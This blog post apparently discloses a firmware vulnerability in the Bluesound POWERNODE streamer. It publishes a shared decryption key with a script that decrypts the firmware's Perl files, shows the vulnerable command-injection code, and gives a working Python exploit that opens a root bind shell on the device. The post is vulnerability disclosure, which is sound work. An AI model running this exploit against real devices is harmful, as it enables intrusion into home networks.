The Bluesound POWERNODE is a “Wireless Stereo Component”, which allows the user to stream to an older analogue sound system. It also includes an amp. I (sadly) happen to have such a device at home and decided to take a look at the firmware. The results were as expected.
Most of the product line appears to be vulnerable, since they run mostly the same software. I would also be surprised if this is the only vulnerability in the device.
Bluesound has been contacted.
Process list
From the web-interface the POWERNODE provides a really handy diagnostics view, which includes (among other things) a process list:
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 2080 560 ? Ss Dec05 0:00 init
root 2 0.0 0.0 0 0 ? S Dec05 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Dec05 0:42 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S Dec05 0:48 [events/0]
root 5 0.0 0.0 0 0 ? S Dec05 0:00 [khelper]
root 8 0.0 0.0 0 0 ? S Dec05 0:00 [async/mgr]
root 9 0.0 0.0 0 0 ? S Dec05 0:00 [pm]
root 62 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre]
root 63 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre]
root 145 0.0 0.0 0 0 ? S Dec05 0:03 [sync_supers]
root 147 0.0 0.0 0 0 ? S Dec05 0:03 [bdi-default]
root 149 0.0 0.0 0 0 ? S Dec05 0:00 [kblockd/0]
root 156 0.0 0.0 0 0 ? S Dec05 0:00 [mxc_spi.0]
root 164 0.0 0.0 0 0 ? S Dec05 0:00 [otg_switch/0]
root 170 0.0 0.0 0 0 ? S Dec05 0:00 [khubd]
root 179 0.0 0.0 0 0 ? S Dec05 0:00 [kmmcd]
root 188 0.0 0.0 0 0 ? S Dec05 0:00 [pmic-event-thre]
root 250 0.0 0.0 0 0 ? S Dec05 0:00 [rpciod/0]
root 265 0.0 0.0 0 0 ? S Dec05 0:00 [kswapd0]
root 313 0.0 0.0 0 0 ? S Dec05 0:00 [aio/0]
root 325 0.0 0.0 0 0 ? S Dec05 0:00 [nfsiod]
root 331 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd000]
root 332 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd001]
root 338 0.0 0.0 0 0 ? S Dec05 0:00 [crypto/0]
root 978 0.0 0.0 0 0 ? S Dec05 0:00 [kconservative/0]
root 980 0.0 0.0 0 0 ? S Dec05 0:00 [hwevent]
root 982 0.0 0.0 0 0 ? S Dec05 0:00 [esdhc_wq/0]
root 985 0.0 0.0 0 0 ? S Dec05 2:00 [esdhc_wq/0]
root 1014 0.0 0.0 0 0 ? S Dec05 0:01 [mmcqd]
root 1022 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p2-]
root 1023 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit]
root 1046 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p3-]
root 1047 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit]
root 1051 0.0 0.2 2336 700 ? Ss Dec05 0:12 syslogd -C256
root 1054 0.0 0.2 1768 572 ? S<s Dec05 0:01 udevd --daemon
root 1919 0.0 0.1 2080 408 ? Ss Dec05 0:00 watchdog /dev/watchdog
root 1947 0.2 0.2 3716 716 ? Sl Dec05 29:57 sovi_hal
root 1975 0.0 0.1 2080 496 ? Ss Dec05 0:00 ifplugd -i eth0 -I -r /etc/ifplugd.action
root 1976 0.0 0.3 2272 996 ? S Dec05 0:00 /bin/bash /etc/ifplugd.action eth0 up
root 1979 0.0 0.2 2080 644 ? S Dec05 0:47 udhcpc -h Bedroom1 -i eth0 -p /var/run/udhcpc.eth0 -S
root 1986 0.0 0.2 2220 512 ? Ss Dec05 0:00 dropbear -r /var/data/etc/dropbear_rsa_host_key
root 2005 0.0 0.0 0 0 ? S Dec05 0:19 [events/0]
root 2006 0.0 0.0 0 0 ? S Dec05 0:00 [events_long/0]
root 2007 0.0 0.0 0 0 ? S Dec05 0:00 [events_nrt]
root 2011 0.0 0.0 0 0 ? S Dec05 0:00 [cfg80211]
root 2019 0.0 0.0 0 0 ? S Dec05 0:44 [ksdioirqd/mmc1]
root 2020 0.0 0.0 0 0 ? S Dec05 0:04 [cw1200_wq]
root 2021 0.0 0.0 0 0 ? S Dec05 2:12 [cw1200_bh]
root 2028 0.0 0.0 0 0 ? S Dec05 0:28 [phy0]
1000 2042 0.0 0.3 2684 912 ? Ss Dec05 0:00 dbus-daemon --system
daemon 2045 0.0 0.6 3272 1660 ? S Dec05 0:43 avahi-daemon: running [Bedroom1.local]
root 2046 0.0 0.5 3592 1288 ? S Dec05 0:00 avahi-browse-sovi
root 2049 0.0 0.3 2284 1016 ? S Dec05 7:56 /bin/bash /etc/rc.d/rc.sovi
root 2050 0.0 0.2 2084 604 ttymxc0 Ss+ Dec05 0:00 /sbin/getty -L ttymxc0 115200 vt100
root 2070 0.0 0.4 3692 1224 ? Sl Dec05 9:02 sovi-discover --sddp /tmp/sddp.conf
root 2072 0.0 0.4 2300 1052 ? S Dec05 0:01 /bin/bash /etc/rc.d/rc.stage0
root 2085 1.1 3.4 10592 8828 ? S Dec05 164:49 dspout -m 75
root 2087 0.0 4.0 14092 10408 ? S Dec05 4:42 perl ./automounter.pl -c /var/data
root 2088 0.0 13.5 39380 34464 ? Sl Dec05 4:11 perl ./ms.pl -d /var/data
root 2105 0.0 0.6 3980 1692 ? S Dec05 0:00 /usr/libexec/bluetooth/bluetoothd --noplugin=avrcp
root 2147 0.0 0.5 4572 1364 ? Ss Dec05 0:30 /usr/bin/wpa_supplicant -i wlan0 -c /var/data/wpa.conf -C /tmp -D nl80211 -B
root 2163 0.0 0.1 2080 476 ? Ss Dec05 0:00 /sbin/udhcpc -i wlan0 -S
root 2166 0.5 0.8 4040 2280 ? S Dec05 69:50 sovi-spotify -n Bedroom 1 -i 90:56:82:7f:26:dc -d /var/data -v N150 -b Bluesound -m POWERNODE
root 2167 0.0 1.4 9140 3780 ? S Dec05 0:00 sovi-bt --disable-aac
root 2168 0.2 9.7 31940 24812 ? S Dec05 39:59 perl ./cp.pl -c /var/data
root 2169 0.0 0.3 2392 972 ? S Dec05 0:00 avahi-publish -s Bedroom 1 _spotify-connect._tcp 80 CPath=/spotifyconnect VERSION=1.0
root 2204 0.0 0.5 3612 1304 ? Ss Dec05 1:34 ntpd -g -c /tmp/ntp.conf
root 2254 0.0 3.9 12876 10112 ? Sl Dec05 0:02 /usr/bin/perl /var/data/upgrade/stage0/stage0
root 10668 0.0 0.1 1948 380 ? S 12:08 0:00 sleep 3600
root 13604 0.0 0.1 1948 380 ? S 12:58 0:00 sleep 30
root 13646 0.0 0.3 2244 856 ? R 12:59 0:00 ps axuw
Running Perl as root is usually a bad sign.
Perl obfuscation
They also include additional security such as BluOS firmware being encrypted and locked down to prevent malicious attacks.
– Bluesound support forums
Indeed taking a look at the firmware you will find perl files like the one below:
use Filter::Crypto::Decrypt;
1b8c1db0d33f54236ec2ef560a93261bd5a3c6c0d724a5834543c201393a68c86c142e26e115e210810afcd59d
31de2d500fdf77b486ebdd96bd7fdbf901d1e0fd7f94ed2299950ea5137a440f7861a73861fcafcd7aaac6b477
856cfd74d5679a045ad7e6c17d9e119fdf1ef3e308aee092b106c4360e5e7ca92eee84528e79d0963f49396c46
7c1b1886ceca25a10589f4135253f3f71e8dc30628180d1b73d3bdbeaf6ec15dc58d28851fca86502b79bb6680
59da36fc15d65e955529cf54a5d74da3307d7f8b10b7e03cade60e6f9a0b54217410082cf8f28ce7888bcb6f7a
...
Below a script for decrypting the perl files (the same key is used on all devices and models):
#!/usr/bin/env python2
BLOCKSIZE = 16
KEYSIZE = 32
PSWDSIZE = 32
SALTLEN = 8
pswd = 'CDCBCF6B3127E14C1504B39FA0A4AC68CD2C06CFA124A6FC185BC14FC4625088'
pswd = pswd.decode('hex')
import sys
import hashlib
with open(sys.argv[1], 'r') as f:
data = f.read()
_, d = data.split('\n')
d = d.decode('hex')
# derive key
salt = d[:SALTLEN]
d = d[SALTLEN:]
key = hashlib.pbkdf2_hmac('sha1', pswd, salt, 2048, KEYSIZE)
print key.encode('hex')
# decrypt file
from Crypto.Cipher import AES
iv = d[:BLOCKSIZE]
d = d[BLOCKSIZE:]
obj = AES.new(key, AES.MODE_CBC, iv)
print obj.decrypt(d)
Now lets take a look at the firmware.
Exploit
Finding this trivial exploit took about 3 minutes using “grep”. They love the always handy “system” function, unfortunately Bluesound are not big fans of sanitising the inputs. Below you see a textbook example of command injection:
'/enable' => sub {
my ($httpd, $req) = @_;
my $msg = '<html><body>Note: A reboot is required \
for any changes to fully take effect!<br>';
foreach my $feature ($req->params()) {
my $file = '/var/data/' . $feature . '_enable';
my $enable = $req->parm($feature);
if ($enable eq 'yes') {
system("touch $file && sync");
} elsif ($enable eq 'no') {
system("rm $file && sync");
}
if (-f $file) {
$msg .= "<br>$feature enabled";
} else {
$msg .= "<br>$feature disabled";
}
}
$msg .= '<br><br><a href="/reboot">Reboot</a></body></html>';
$req->respond ({ content => ['text/html', $msg]});
}
And a doit binding a root shell:
#!/usr/bin/env python2
import requests
import sys
addr = sys.argv[1]
port = int(sys.argv[2])
url = 'http://%s/enable' % addr
shell = 'use Socket;$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' % port
shell += 'bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);'
shell += 'close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");'
shell += 'exec("/bin/bash -i");};'
cmd = '$(perl -e \'%s\' &)' % shell
print 'bind to', addr, ':', port
requests.get(url, params={cmd:'yes'})
Just #LivingHifi
Edit (February 2022): This post is getting rather old, but the exploit remains unpatched (after having contacted Bluesound >5 years ago) and included even in their newer products! Furthermore, it also affects the products of other companies careless enough to license this junk for use in their products without even a cursory security review, e.g. it has been confirmed to work on the C 368 with the BluOS module by “NAD Electronics”. Lastly I would like to include some comedic gold from the meme-worthy vendor support forum:
For my own personal amusement I would love to know if the vulnerability detected by the Bitdefender product is this one, or one of a myriad of other textbook vulnerabilities in their jank code. If you know, please reach out to me.